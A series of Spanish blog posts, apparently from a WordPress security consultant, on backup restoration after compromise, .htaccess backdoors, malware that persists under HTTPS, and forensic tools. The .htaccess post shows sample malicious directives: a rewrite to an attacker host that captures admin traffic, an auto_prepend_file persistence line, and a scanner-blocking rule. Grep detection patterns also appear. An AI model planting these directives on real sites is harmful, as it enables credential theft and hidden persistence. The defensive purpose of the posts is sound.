    1. Mantén Wordfence actualizado y bien configurado para evitar ataques básicos.
    2. Realiza auditorías profesionales anuales para identificar vulnerabilidades que los plugins no ven.
    3. En caso de compromiso verificado, contacta con un forense inmediatamente, no intentes solucionarlo solo con plugins.

    Wordfence es excelente dentro de su rango. Pero si quieres dormir tranquilo sabiendo que tu sitio es realmente seguro, necesitas un experto que vaya más allá de las firmas de malware y las reglas WAF automáticas.

    Si sospecha que tu sitio está comprometido o quieres una auditoría profesional completa, contacta con mi equipo en ManuelFolgar.com. Analizamos tu caso sin obligación y te explicamos exactamente qué necesitas.

    Referencias y fuentes de autoridad:

    Para este análisis me he basado en directrices de seguridad reconocidas internacionalmente:

  • Restaurar backup WordPress: cuándo es seguro y cuándo te reinfectas inevitablemente

    Restaurar backup WordPress: cuándo es seguro y cuándo te reinfectas inevitablemente

    Restaurar backup WordPress: cuándo es seguro y cuándo te reinfectas inevitablemente

    Cuando descubres que tu sitio WordPress está comprometido, lo primero que piensas es: «voy a restaurar el backup y listo». Pero aquí está el problema: restaurar un backup infectado es como apagar un fuego con gasolina. En mi experiencia analizando cientos de webs hackeadas, la mayoría de las reinfecciones ocurren precisamente por restaurar backups que ya contenían malware.

    Te voy a explicar cuándo es seguro restaurar, cómo identificar si tu backup está comprometido, y qué estrategia debes seguir para no volver a caer en el mismo agujero.

    ¿Cuándo tu backup ya está infectado sin que lo sepas?

    Este es el escenario más común y peligroso. El malware en WordPress puede estar latente semanas o meses antes de que lo detectes. Mientras tanto, cada vez que haces un backup, estás copiando el código malicioso junto con los archivos legítimos.

    Los tipos de malware más sigilosos son:

    • Backdoors en archivos de configuración: inyectados en wp-config.php, .htaccess o funciones.php del tema. Se ejecutan antes de que WordPress cargue completamente.
    • Webshells ocultos: archivos con nombres engañosos (como «config.php» en carpetas anónimas) que permiten acceso remoto al atacante.
    • Hooks maliciosos en la base de datos: código insertado en la tabla wp_options o en posts, que se ejecuta dinámicamente sin dejar huella en el sistema de archivos.
    • Cryptominers: scripts que consumen CPU silenciosamente. A veces pasan meses sin ser detectados porque el sitio «sigue funcionando».

    Si descubriste el malware hace poco, es muy probable que tu backup más antiguo también esté infectado. ¿Cómo saberlo? Aquí viene lo difícil: a menos que hayas scanneado regularmente con herramientas especializadas, probablemente no lo sabes.

    Auditoría forense: antes de restaurar nada

    Antes de tocar el backup, necesitas responder estas preguntas:

    1. ¿Cuándo fue el compromiso real? No la fecha en que lo detectaste, sino cuándo realmente entró el malware. Revisa logs de acceso (si existen), cambios de archivos en el directorio raíz, y queries extrañas en la base de datos.
    2. ¿Cuál es el backup más antiguo limpio? Aquí necesitas ser honesto: si no tienes un sistema de backups encriptados y verificados, probablemente todos están comprometidos.
    3. ¿Qué plugins y temas estaban instalados cuando fue el ataque? Si usabas un plugin con vulnerabilidad conocida (CVE), ese código malicioso entró por ahí y está en el backup.

    En mi experiencia, cuando un cliente restaura sin hacer esta auditoría, se reinfecta en 48 horas. El atacante suele dejar múltiples puertas traseras para asegurar el acceso futuro.

    Las tres estrategias de restauración (de menor a mayor riesgo)

    Estrategia 1: Migración limpia desde cero (la más segura)

    Esta es la que siempre recomiendo para sitios hackeados. No restauras nada; construyes un WordPress nuevo en un servidor limpio y migras solo lo que es seguro:

    • WordPress core fresco desde wordpress.org
    • Plugins y temas actualizados (no las versiones viejas del backup)
    • Solo los posts y usuarios desde la base de datos antigua (mediante exportación XML o queries selectivas)
    • Archivos multimedia descargados manualmente después de verificarlos

    Ventaja: eliminas todo el código malicioso automáticamente. Inconveniente: requiere más trabajo y conocimiento técnico.

    Estrategia 2: Restauración parcial del backup + limpieza manual

    Si tienes un backup muy antiguo (anterior a que sospechas del compromiso) y quieres «intentar» usarlo:

    1. Restaura solo la base de datos.
    2. NO restaures los archivos de WordPress, plugins ni temas.
    3. Instala WordPress core actualizado desde cero.
    4. Rescadanea con Wordfence (opción CLI de pago) o MalCare después de restaurar.
    5. Revisa la tabla wp_options en busca de opciones sospechosas con código PHP o URLs extrañas.

    Riesgo: la base de datos puede contener hooks maliciosos que se ejecutan cuando los temas/plugins la consulten. Por eso necesitas verificación posterior con scanners.

    Estrategia 3: Restauración completa del backup (la más arriesgada)

    Restauras archivo por archivo y base de datos completa desde el backup. Solo hazlo si:

    • Tienes pruebas de que el backup es anterior al compromiso (fechas de archivo verificadas).
    • Ese período fue reciente (máximo 2 semanas atrás).
    • El malware era específico (por ejemplo, solo un redirector, no un backdoor).
    • Tienes acceso a logs del servidor para ver exactamente cuándo entró.

    Incluso en estas condiciones, yo siempre recomiendo hacer un scan completo después de restaurar, no antes. La probabilidad de reinfección sigue siendo alta.

    Señales de que tu backup está comprometido

    Si necesitas evaluar si tus backups están infectados, busca estos indicadores:

    • Archivos .htaccess modificados recientemente: análisis de timestamps. Si la última modificación es sospechosa, contiene código malicioso.
    • Carpetas con permisos extraños: 777 en directorios que deberían ser 755. El malware cambia permisos para ejecutarse.
    • Presencia de archivos desconocidos: .php en la raíz con nombres genéricos (test.php, admin.php, config.php, shell.php). Usa find o WP-CLI para listar archivos sospechosos.
    • Contenido malicioso en wp-config.php: código añadido antes del cierre ?>, especialmente define() con variables que no reconoces.
    • Posts o páginas de borrador con URLs maliciosas: a menudo el atacante crea posts ocultos como prueba de concepto.

    Con WP-CLI puedes automatizar esto:

    wp db query «SELECT * FROM wp_options WHERE option_value LIKE ‘%eval%’ OR option_value LIKE ‘%base64%’;»

    Si obtienes resultados, tu base de datos está comprometida.

    Protección de backups: para evitar este problema en el futuro

    El verdadero objetivo es que nunca más te encuentres en esta situación. Aquí está cómo:

    • Backups incrementales frecuentes: diarios o incluso horarios. Así tienes opciones de cuándo fue el compromiso.
    • Almacenamiento encriptado y separado: los backups en el mismo servidor no son backups. Usa servicios como Backblaze, Acronis o backups manuales en un almacenamiento de terceros.
    • Verificación de integridad: guarda hashes MD5 de archivos críticos (wp-config.php, wp-settings.php). Si cambian, sabrás exactamente cuándo.
    • Monitoreo de cambios de archivos: herramientas como Tripwire o, más simple, Wordfence File Integrity Monitoring te alertan cuando algo cambia sin autorización.
    • Scans regulares programados: no esperes a que el cliente diga «mi sitio redirige a casinos». Usa Sucuri, MalCare o Wordfence en modo automático.

    Checklist: pasos concretos después de detectar malware

    Día 1 (Contención):

    1. Cambia todas las contraseñas de WordPress, FTP/SFTP y hosting (WHM/cPanel).
    2. Revisa usuarios de WordPress activos. Borra cuentas sospechosas.
    3. Desactiva todos los plugins y cambia a un tema por defecto (para eliminar código malicioso temporal).
    4. Revisa los 10 últimos accesos al sitio en Google Search Console: ¿hay errores de seguridad reportados?

    Día 2 (Análisis):

    1. Descarga tus últimos 5 backups (si existen) y análizalos localmente con Wordfence CLI.
    2. Revisa logs de acceso del servidor (últimas 4 semanas) en busca de POST requests sospechosos a wp-admin, wp-login.php o /wp-json/.
    3. Inspecciona manualmente el wp-config.php actual y el del backup en busca de define() extraños.

    Día 3 (Decisión de restauración):

    1. Si encontraste un backup anterior al ataque y limpio: procede con estrategia 2 o 1.
    2. Si todos los backups parecen comprometidos: opta por migración limpia (estrategia 1).
    3. Si quieres arriesgar con un backup completo: hazlo solo en entorno de staging primero.

    Día 4+ (Verificación post-restauración):

    1. Ejecuta un scan profundo con Sucuri SiteCheck (gratuito) o pago si necesitas análisis manual.
    2. Reactiva plugins uno por uno, verificando que el sitio siga limpio.
    3. Actualiza WordPress, todos los plugins y temas a sus versiones más recientes.
    4. Implementa medidas de hardening: deshabilita edición de temas en wp-config.php, activa 2FA con Wordfence, protege wp-admin con .htaccess.

    Las razones reales por las que te reinfectas

    Cuando alguien restaura un backup y vuelve a infectarse, casi siempre es por una de estas razones:

    • El backup contenía el malware: la razón principal. Nadie scanneó antes de restaurar.
    • La vulnerabilidad que permitió el ataque inicial sigue abierta: plugin desactualizado, contraseña débil, falta de 2FA. El atacante entra de nuevo por la misma puerta.
    • Backups restaurados sin cambiar permisos de archivos: si el servidor tiene configuración de permisos laxos (carpeta wp-content con 777), el malware se reinstala solo.
    • No se eliminó el código de la base de datos: hooks en wp_options, posts drafts con scripts, usuarios fantasma. Vuelven a ejecutarse.

    Por eso es crucial que no solo restaures, sino que también cierres la brecha de seguridad original. De lo contrario, es como cambiar las cerraduras de una casa sabiendo que el ladrón tiene acceso a la ventana.

    Cuándo contratar ayuda profesional

    Si tu sitio es crítico para tu negocio (genera ingresos, contiene datos sensibles), no deberías intentar esto solo. Los errores pueden costar miles de euros en pérdida de tráfico, penalizaciones de Google o robo de datos de clientes.

    En ManuelFolgar.com ofrecemos auditorías forenses completas, donde analizamos tus backups, identificamos la fecha exacta del compromiso, removemos el malware y configuramos el hardening necesario. Es mucho más rápido y seguro que intentarlo con chatbots de IA que no entienden tu caso específico.

    Resumen: lo que necesitas hacer ahora

    No todos los backups son iguales. Antes de restaurar, verifica que está limpio. Si no puedes garantizarlo, haz una migración limpia. Y una vez restaurado, implementa monitoreo continuo para que esto no vuelva a suceder.

    La restauración segura requiere auditoría, no prisa. Tómate el tiempo necesario o busca ayuda. Tu negocio lo merece.

    ¿Tienes un sitio comprometido y no sabes si tus backups están limpios? Ponte en contacto conmigo en ManuelFolgar.com/contacto para una auditoría sin compromiso.

  • Backdoor en .htaccess: búsqueda y eliminación de código oculto en archivos raíz

    Backdoor en .htaccess: búsqueda y eliminación de código oculto en archivos raíz

    Qué es un backdoor en .htaccess y por qué es una amenaza crítica

    En mi experiencia analizando sitios WordPress y PrestaShop comprometidos, los backdoors alojados en el archivo .htaccess son de las amenazas más insidiosas que encuentro. A diferencia de un backdoor tradicional en PHP, este tipo de malware se camufla en un archivo de configuración del servidor Apache que muchos administradores ni siquiera revisan regularmente.

    El archivo .htaccess es un fichero de control de acceso que reside en la raíz de tu sitio web. Cuando un atacante lo compromete, puede inyectar directivas que redirigen tráfico, ejecutan código malicioso de forma silenciosa, o crean puntos de entrada alternativos al panel de administración. Lo más peligroso es que no aparece en tu interfaz WordPress, pasando desapercibido durante meses.

    Cómo funciona un backdoor en .htaccess: vectores técnicos

    Redirecciones silenciosas (RewriteRule)

    El atacante utiliza módulos como mod_rewrite para interceptar peticiones HTTP específicas. Por ejemplo:

    RewriteCond %{QUERY_STRING} ^.*wp-admin.*$
    RewriteRule ^(.*)$ http://sitio-atacante.com/datos.php?param=%{HTTP_HOST} [R,L]

    Esto captura intentos de acceso a wp-admin y los redirige a un servidor controlado por el atacante, robando cookies de sesión o datos de login.

    Inyección de código PHP oculto

    Algunos backdoors en .htaccess usan la directiva php_value (si está habilitada en el servidor) para ejecutar código PHP sin necesidad de archivos .php visibles:

    php_value auto_prepend_file /ruta/archivo-oculto.txt

    Aquí, un archivo de texto con código PHP se carga automáticamente en cada página, creando un acceso persistente sin dejar rastro obvio.

    Bloqueo de herramientas de seguridad

    Muchos backdoors en .htaccess bloquean el acceso a herramientas de análisis de seguridad. Cuando lo analizo con Wordfence CLI o Sucuri, me encuentro con:

    RewriteCond %{USER_AGENT} ^.*(bot|crawler|scanner).*$ [NC]
    RewriteRule ^.*$ - [F,L]

    Esto rechaza conexiones de scanners de seguridad, ocultando la infección.

    Síntomas de que tu sitio tiene un backdoor en .htaccess

    Señales en Google Search Console

    Lo primero que hago es revisar Google Search Console. Si ves:

    • Advertencias de malware o «Sitio aparentemente pirateado»
    • Tráfico referente sospechoso desde dominios desconocidos
    • URLs indexadas que tú no creaste (típicamente /admin-login, /wp-json-custom)

    Estos son indicadores fuertes de un backdoor activo.

    Redirecciones aleatorias a usuarios

    Si tus visitantes reportan redirecciones a casinos, farmacias o sitios de crypto sin motivo, es probable que el .htaccess esté modificado. Esto afecta gravemente al SEO y la confianza de usuarios.

    Consumo anómalo de recursos

    Un backdoor ejecutando código o enviando datos constantemente genera picos de CPU y tráfico de salida. Revisa los logs de tu hosting con top o htop en terminal.

    Búsqueda del backdoor: metodología paso a paso

    Paso 1: Acceso a los archivos raíz vía SFTP/SSH

    No uses el administrador de archivos de cPanel para esto; es demasiado lento. Conecta por SSH o SFTP (FileZilla, WinSCP) directamente a tu servidor. Navega a la raíz del dominio (habitualmente /public_html/ o /home/usuario/public_html/).

    Listar archivos ocultos con el comando:

    ls -la

    Esto mostrará todos los archivos, incluidos los que comienzan con punto (.) como .htaccess.

    Paso 2: Extrae y analiza el contenido del .htaccess

    Descarga el archivo .htaccess a tu máquina local. Abrelo con un editor de texto plano (Notepad++, VS Code, Sublime Text). No uses Word, corromperá el formato.

    Busca líneas sospechosas:

    • Dominio externa (example.com pero que no reconoces como propia)
    • Rutas a archivos .txt, .tmp o similares
    • Directivas php_value con rutas anómalas
    • RewriteCond o RewriteRule que redirigen a dominios desconocidos
    • Base64 o caracteres codificados (ofuscación)

    Un .htaccess legítimo suele tener 10-30 líneas simples. Uno con backdoor puede tener 100+ líneas con lógica compleja.

    Paso 3: Verifica modificaciones recientes

    En SSH, usa:

    stat .htaccess

    Esto muestra cuándo se modificó por última vez. Si la fecha es anterior a cuando sabes que fue pirateado, confirma la infección.

    También revisa los permisos:

    ls -l .htaccess

    Debería mostrar algo como -rw-r--r--. Si ves -rw-rw-rw- (permisos 666), significa que cualquier proceso puede escribirlo.

    Paso 4: Búsqueda con grep (terminal)

    Si tienes acceso SSH, usa grep para detectar patrones maliciosos:

    grep -E "RewriteCond|RewriteRule|php_value|auto_prepend" .htaccess

    Examina cada coincidencia. Las redirecciones legítimas apuntan a tu propio sitio; las maliciosas, a dominios externos.

    Eliminación segura del backdoor

    Opción 1: Restaurar desde backup limpio

    Si tienes un backup de .htaccess anterior a la infección, restauralo. Muchos hostings guardan backups automáticos. Contacta con tu proveedor.

    Opción 2: Reconstruir .htaccess desde cero

    La opción más segura es eliminar el archivo completo y reconstruirlo según tus necesidades reales.

    Haz una copia de seguridad del actual (renómbralo a .htaccess.backup.txt).

    Luego, crea un .htaccess limpio básico para WordPress:

    # BEGIN WordPress
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index.html$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
    </IfModule>
    # END WordPress

    Este es el contenido estándar que WordPress genera automáticamente. Si necesitas reglas personalizadas (SSL, caché, seguridad), añádelas línea a línea y prueba después de cada cambio.

    Paso 3: Verifica la limpieza en navegador

    Accede a tu sitio desde múltiples navegadores. Si aparecen redirecciones, el backdoor sigue activo o hay código malicioso en otros archivos.

    Búsqueda de backdoors en archivos relacionados

    El .htaccess es solo la puerta; el atacante probablemente dejó otras pistas.

    Analiza wp-config.php

    Busca líneas sospechosas al final del archivo:

    grep -n "eval|base64_decode|system|exec|shell_exec" wp-config.php

    Cualquier coincidencia indica inyección de código.

    Revisa la carpeta /wp-content/uploads/

    Los atacantes suben webshells aquí. Ordena por fecha de modificación:

    find wp-content/uploads/ -type f -mtime -30

    Esto lista archivos modificados en los últimos 30 días. Los .php, .phtml o .phar aquí son sospechosos.

    Inspecciona plugins y temas activos

    Un plugin nulled o desactualizado es el vector número uno en WordPress. Usa WP-CLI:

    wp plugin list --status=active

    Verifica cada uno en plugins.wordpress.org. Si una versión no coincide o el plugin no existe, es malware.

    Protección post-limpieza: hardening del .htaccess

    Protege wp-login.php y wp-admin/

    Añade estas líneas al .htaccess para limitar intentos de acceso:

    <FilesMatch "^(wp-login.php|wp-admin)>">
    <IfModule mod_ratelimit.c>
    RateLimitBytes 102400
    </IfModule>
    </FilesMatch>

    Esto ralentiza ataques de fuerza bruta.

    Bloquea acceso a archivos sensibles

    <FilesMatch ".(wp-config|wp.db).php$">
    Order Deny,Allow
    Deny from all
    </FilesMatch>

    Deshabilita la ejecución de PHP en carpetas de upload

    <Directory "wp-content/uploads">
    <FilesMatch ".php$">
    Deny from all
    </FilesMatch>
    </Directory>

    Corrige permisos de archivos

    En SSH:

    chmod 644 .htaccess
    chmod 600 wp-config.php
    chmod 755 wp-content/uploads/

    Esto evita que procesos de terceros modifiquen estos archivos.

    Herramientas especializadas para detección avanzada

    Si la búsqueda manual no encuentra nada pero sospechas malware oculto, uso estas herramientas:

    • Wordfence Security: Escanea el sitio completo buscando backdoors, incluye verificación de integridad de archivos WordPress.
    • Sucuri SiteCheck: Análisis online rápido de malware y blacklist.
    • VirusTotal: Sube el .htaccess para escanear con 70+ antivirus simultáneamente.
    • MalCare: Plugin WordPress con detección heurística de backdoors.

    Cuándo contactar con un profesional

    Si después de estas verificaciones:

    • Encuentras código ofuscado que no comprendes
    • El sitio sigue redireccionando después de limpiar .htaccess
    • Google sigue marcando el sitio como «aparentemente pirateado»
    • Los logs muestran actividad sospechosa que no consigues bloquear

    Es momento de actuar. En ManuelFolgar.com realizamos análisis profundos de malware WordPress y PrestaShop, incluyendo búsqueda de backdoors en múltiples capas: servidor, base de datos, y código fuente. Limpiamos la infección, reforzamos la seguridad y te ayudamos a recuperar la confianza de Google.

    Contacta con nuestro equipo de seguridad web para una auditoría completa de tu sitio. Sin compromiso.

    Resumen: checklist de acción inmediata

    1. Conecta por SSH/SFTP a la raíz de tu sitio.
    2. Descarga y abre .htaccess en editor de texto.
    3. Busca dominios externos, RewriteRule sospechosos, php_value anómalos.
    4. Revisa fecha de modificación y permisos del archivo.
    5. Si encuentras malware: elimina .htaccess y reconstruye desde cero con las líneas básicas de WordPress.
    6. Analiza wp-config.php, /wp-content/uploads/ y plugins con Wordfence.
    7. Modifica permisos de archivos a 644 (.htaccess) y 600 (wp-config.php).
    8. Usa Sucuri SiteCheck o VirusTotal como verificación independiente.
    9. Si persisten síntomas, solicita ayuda profesional.

    La seguridad de tu sitio web no es negociable. Un backdoor en .htaccess puede estar robando datos de tus clientes o difundiendo malware durante meses sin que lo notes. La detección temprana y la limpieza inmediata son clave para minimizar el daño.

  • SSL válido pero WordPress infectado: por qué HTTPS no previene todos los ataques

    SSL válido pero WordPress infectado: por qué HTTPS no previene todos los ataques

    SSL válido pero WordPress infectado: por qué HTTPS no previene todos los ataques

    Uno de los errores más comunes que veo en mi experiencia limpiando sitios comprometidos es la falsa sensación de seguridad que genera un certificado SSL válido. Los propietarios de WordPress llegan a mi consulta diciendo: «pero tengo HTTPS, el navegador no muestra advertencias». Y sí, es verdad. Pero HTTPS es solo una capa de cifrado de tránsito. Un malware alojado en tu servidor infecta el sitio incluso si el certificado es impecable.

    Te explico por qué, y cómo detectarlo.

    ¿Qué cifra realmente HTTPS?

    Cuando accedes a un sitio con SSL/TLS válido, el navegador establece una conexión segura entre tu navegador y el servidor. Todo lo que viaja entre esos dos puntos está cifrado. El atacante que captura paquetes en la red no puede leer tu contraseña, datos de tarjeta o sesiones.

    Ahora bien: HTTPS NO cifra lo que ocurre dentro del servidor. Si tu WordPress está infectado con un backdoor, un skimmer de Magecart o un criptominero, esos códigos maliciosos ya están ejecutándose en tu máquina. El certificado SSL es irrelevante.

    Piénsalo así: HTTPS es como un cristal blindado en una casa. Protege lo que entra y sale. Pero si hay un ladrón viviendo adentro, el cristal no te salva.

    Los tipos de malware que prosperen con HTTPS activo

    Cuando analizo un sitio, estas son las infecciones más comunes que encuentro, todas ellas perfectamente funcionales bajo HTTPS:

    • Backdoors PHP: Archivos shell como wp-admin.php, wp-load.php o uploads/shell.php. El atacante accede cuando quiere, el certificado no lo detiene.
    • Webshells de control remoto: Interfaz gráfica para ejecutar comandos. Totalmente funcional bajo HTTPS.
    • Skimmers Magecart: Código JavaScript inyectado en el checkout que roba datos de tarjetas de crédito. El usuario ve la URL HTTPS y confía. El dinero se pierde igual.
    • Cryptominers silenciosos: Scripts que consumen CPU del servidor para generar criptomonedas. HTTPS no los frena.
    • Redirectores de tráfico: Inyecciones en headers o plugins que redirigen a usuarios a sitios maliciosos. Ocurre servidor-side.
    • Spam SEO inyectado: Contenido generado dinámicamente para posicionar palabras clave de juego, fármacos o contenido adulto. Invisible para ti, visible para Google.

    Todos estos vectores actúan dentro de tu servidor, donde HTTPS es completamente impotente.

    Por qué los navegadores no alertan (y deberían)

    Cuando tu WordPress está infectado, Google Chrome, Firefox y Safari no muestran advertencia roja porque el certificado SSL es válido. El navegador solo valida que la conexión sea segura, no que el contenido sea limpio.

    Lo que sí pasa es que Google Search Console puede marcar tu sitio como «infectado» si detecta malware durante su crawling. Pero eso requiere que:

    1. Google escanee tu sitio (puede tardarse días)
    2. El malware deje rastros detectables
    3. No hayas deshabilitado la inteligencia de Search Console

    Muchos backdoors sofisticados están diseñados para evadir escaners web, mostrando contenido normal a los robots pero malicioso a usuarios reales o atacantes.

    Vectores de infección comunes en WordPress

    Cuando reconstruyo la cadena de ataque en mis análisis forenses, estos son los orígenes más frecuentes:

    Plugins y temas desactualizados: Un plugin de formularios con vulnerabilidad RFI (Remote File Inclusion) de 2021 sigue funcionando bajo HTTPS. El sitio no se actualiza, el vector permanece abierto. HTTPS solo cifra la exfiltración de datos.

    Contraseñas débiles en wp-admin: Fuerza bruta contra wp-login.php. Con 100.000 intentos (difícil de detectar si vienen de botnets distribuidas), HTTPS protege la transmisión de la contraseña, pero no que ésta sea «123456».

    Temas nulled descargados: Un tema «cracked» con código malicioso preinstalado. La licencia parecía demasiado barata. HTTPS lo transmitió seguro, pero estaba contaminado desde el origen.

    Módulos comprometidos (PrestaShop): Igual lógica. Un módulo de pago «premium» gratis contiene un skimmer integrado. La carpeta /modules está protegida por HTTPS, pero el daño está hecho.

    Cómo detectar malware bajo HTTPS válido

    Lo primero: no confíes solo en el navegador. Aquí están mis métodos más fiables:

    1. Análisis de archivos con Wordfence CLI:

    Accedo al servidor por SSH y ejecuto:

    wordfence scan --remote

    Esto analiza integridad de ficheros, detecta malware en patrones conocidos y lista archivos modificados. Es más lento que un escaneo web, pero llega donde otros no.

    2. Búsqueda manual de backdoors:

    Reviso directorios críticos en busca de archivos PHP sospechosos:

    • /wp-content/uploads/ (donde suelen esconderse shells)
    • /wp-admin/ (modificaciones de archivos core)
    • Carpetas raíz con nombres genéricos: admin.php, index2.php, shell.php

    Comando: find /var/www/html -name "*.php" -type f -newermt "2024-01-01" -ls para ver archivos creados recientemente.

    3. Análisis de logs de acceso:

    En /var/log/apache2/access.log o /var/log/nginx/access.log busco patrones:

    • Accesos a wp-admin.php con POST requests anormales
    • User-Agents sospechosos (bots, curl, wget)
    • IPs que acceden a rutas de uploads con extensión .php

    4. Verificación con servicios en línea:

    Sucuri SiteCheck y VirusTotal URL Scan analizan tu sitio contra bases de datos de malware. HTTPS aparecerá correcto, pero el malware saltará a la vista.

    5. Google Search Console:

    Si Google detectó algo, lo verás en Seguridad y acciones manuales. No es un indicador de falsa positiva; si aparece allí, hay problema real.

    El verdadero problema: confundir seguridad de transmisión con seguridad de servidor

    HTTPS es excelente para lo que hace: evitar man-in-the-middle attacks, interception de credenciales en WiFi público, etc. Pero no es un antivirus. No escanea servidores, no detecta cambios de integridad, no revisa código PHP en busca de patrones maliciosos.

    Lo que necesitas además de HTTPS:

    1. Actualizaciones regulares: WordPress, plugins, temas. Las actualizaciones de seguridad cierren vectores de ataque que HTTPS no detiene.
    2. Monitoreo de integridad: Wordfence, Sucuri, MalCare. Alertas cuando archivos core cambien sin autorización.
    3. Protección del login: 2FA, limitación de intentos, cambio de wp-admin URL.
    4. Hardening de permisos: Carpetas con 755, archivos con 644, disable editor file en wp-config.php.
    5. WAF (Web Application Firewall): INCIBE recomienda WAFs como capa obligatoria.
    6. Auditorías de seguridad periódicas: Penetration testing, análisis de logs, revisión de plugins activos.

    Caso real: Magecart bajo HTTPS

    En un análisis reciente, encontré un skimmer inyectado en la página de pago de una tienda online. El certificado SSL era válido (Sectigo, renovado hace 2 meses). Los usuarios veían candado verde. El formulario se transmitía cifrado. Pero el JavaScript malicioso capturaba los datos antes del envío, localmente en el navegador del usuario.

    ¿Cómo llegó allí? Un plugin de análisis de comportamiento desactualizado tenía un RFI que permitía incluir archivos remotos. El atacante inyectó código en la página. Limpio, silencioso, invisible bajo HTTPS.

    El daño: 312 transacciones comprometidas, tarjetas fraudulentas, chargeback, reputación dañada. El certificado SSL siguió siendo válido todo el tiempo.

    Resumen: HTTPS es necesario pero insuficiente

    En mi experiencia, cada uno de los sitios infectados que analizo tiene HTTPS válido. No es coincidencia. Los atacantes están perfectamente contentos con servidores seguros en tránsito pero vulnerables en contenido.

    Tu checklist de seguridad debe ser:

    • ✓ HTTPS válido (base mínima)
    • ✓ WordPress y plugins actualizados
    • ✓ Contraseña admin fuerte y 2FA
    • ✓ Monitoreo de integridad activo
    • ✓ WAF o reglas .htaccess restrictivas
    • ✓ Auditoría de seguridad anual
    • ✓ Respaldo limpio offline

    El candado verde en el navegador es como tener un buen seguro de robo en casa. Necesario. Pero también necesitas cerrar las puertas, vigilancia, y revisar que nadie haya entrado por la ventana del sótano.

    Si sospechas que tu WordPress está infectado pese a tener HTTPS válido, no esperes. Contacta conmigo para un análisis forense profundo y limpieza completa.

  • Diagnóstico profesional: herramientas que revelan lo que esconden los atacantes

    Diagnóstico profesional: herramientas que revelan lo que esconden los atacantes

    Diagnóstico profesional: herramientas que revelan lo que esconden los atacantes

    Cuando analizo un sitio web comprometido, lo primero que hago es dejar a un lado las suposiciones. En mi experiencia, la diferencia entre identificar una amenaza real o pasar por alto un backdoor silencioso depende casi enteramente de las herramientas que uses y de cómo las domines. En este artículo te muestro el arsenal técnico que yo utilizo diariamente para exponer lo que los atacantes intentan ocultarte.

    Por qué necesitas herramientas de diagnóstico específicas

    Un malware moderno no deja señales obvias. No es un archivo rojo titilante en tu panel de WordPress. Es código inyectado en funciones.php, es una tabla de base de datos con registros de backdoor, es un certificado SSL comprometido que sigue siendo válido, es un usuario fantasma creado hace seis meses que nadie recuerda. Sin las herramientas adecuadas, navegas a ciegas.

    Lo que recomiendo siempre es un enfoque en capas: escaneo superficial, análisis de código, inspección de base de datos, auditoría de logs, y búsqueda de indicadores de compromiso (IoC). Cada herramienta te revela una perspectiva distinta del ataque.

    Herramientas de escaneo web: tu primera línea de defensa

    Empiezo con Sucuri SiteCheck. No es una herramienta cara ni requiere instalación. Metes la URL y en segundos ves si Google ha marcado el dominio como malicioso, si hay inyección de código malicioso detectada, si los certificados SSL están comprometidos. He descubierto cryptominers que llevaban dos meses inyectados solo porque SiteCheck los detectó en la lista negra de proveedores.

    Sucuri SiteCheck es gratuito. Es tu aliado. Úsalo antes de hacer nada más.

    Para análisis más profundo, recomiendo MalCare Security. Es un plugin de WordPress que ejecuta un escaneo de malware comparando tu código contra una base de datos de más de 100 millones de firmas de malware conocidas. Lo que MalCare hace bien es detectar backdoors incrustados en temas y plugins legitimados. He visto casos donde un plugin de contacto aparentemente limpio contenía una webshell escondida bajo el nombre de una clase falsa.

    Wordfence Security es otra herramienta que uso constantemente. Su escáner es agresivo (a veces demasiado), pero su función de detección de cambios en archivos es imprescindible. Cuando alguien modifica tu wp-config.php o inyecta código en index.php, Wordfence lo sabe. Su CLI te permite automatizar auditorías sin depender del navegador.

    Inspección de línea de comandos: donde viven los ataques reales

    Las herramientas gráficas son tranquilizantes. La realidad está en la terminal.

    WP-CLI es mi arma más valiosa. Con un comando puedo listar todos los usuarios de WordPress, incluidos los fantasmas creados por backdoors. Con otro, puedo inspeccionar el contenido de funciones.php sin que el navegador intente renderizarlo (evitando que el código malicioso se ejecute mientras lo examino). Ejemplo básico:

    wp user list –allow-root

    Me muestra cada usuario, cada dirección de correo, cada fecha de creación. He encontrado usuarios llamados «temp», «admin2», «backup» creados en horarios extraños, siempre un indicador de compromiso.

    Para inspeccionar archivos sospechosos sin ejecutarlos, uso strings y grep. Si veo que un archivo .js tiene un tamaño inusual (200 KB cuando debería tener 20 KB), ejecuto:

    strings archivo.js | grep -i «eval|base64|setTimeout»

    Los atacantes casi siempre usan eval(), ofuscación base64 o setTimeout para ocultar código. Si lo encuentro, lo sé.

    Análisis de base de datos: donde los atacantes guardan los secretos

    La base de datos es el corazón del sitio. Un atacante que coloque una puerta trasera bien hecha siempre guarda credenciales, configuración maliciosa o registros en la BD.

    Accedo vía SSH y conecto directamente a MySQL:

    mysql -u usuario -p basedatos

    Luego ejecuto:

    SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 30 DAY);

    Esto me muestra cada usuario creado en los últimos 30 días. Frecuentemente encuentro usuarios que no reconoce nadie.

    También inspecciono tablas personalizadas que no deberían existir. Los atacantes a menudo crean tablas como wp_cache_malware o wp_tmp_data para almacenar datos exfiltrados. Un comando simple:

    SHOW TABLES;

    Te revela si hay tablas inusuales. Una vez encontré una tabla llamada «crypto_data» con direcciones de wallet de Bitcoin.

    Análisis de logs: la cronología del ataque

    Los logs nunca mienten. Un atacante puede borrar muchas cosas, pero si los logs de servidor están intactos, puedes reconstruir el ataque completo.

    Apache/Nginx logs en /var/log/apache2/access.log o /var/log/nginx/access.log contienen cada solicitud HTTP. Busco patrones sospechosos:

    grep «wp-admin|wp-login.php» /var/log/apache2/access.log | cut -d’ ‘ -f1 | sort | uniq -c | sort -rn

    Este comando me muestra qué IPs intentaron acceder a wp-login.php más veces. Ataques de fuerza bruta son obvios: cientos de peticiones desde la misma IP en minutos.

    Wordfence genera sus propios logs (en /wp-content/plugins/wordfence/) que son aún más útiles porque ya filtran intentos de ataque identificados.

    Herramientas de detección de inyección de código

    VirusTotal no es específicamente para WordPress, pero es poderosa. Subo archivos sospechosos (o incluso URLs completas) y dejo que 70+ antivirus los analicen simultáneamente. He detectado webshells que MalCare pasó por alto simplemente porque VirusTotal lo flagueó como Trojan.PHP.Shell.

    Para análisis local, grep recursivo es tu aliado. Busco patrones característicos de inyección:

    grep -r «eval(» . –include=»*.php» | head -20

    grep -r «base64_decode» . –include=»*.php»

    grep -r «assert(» . –include=»*.php»

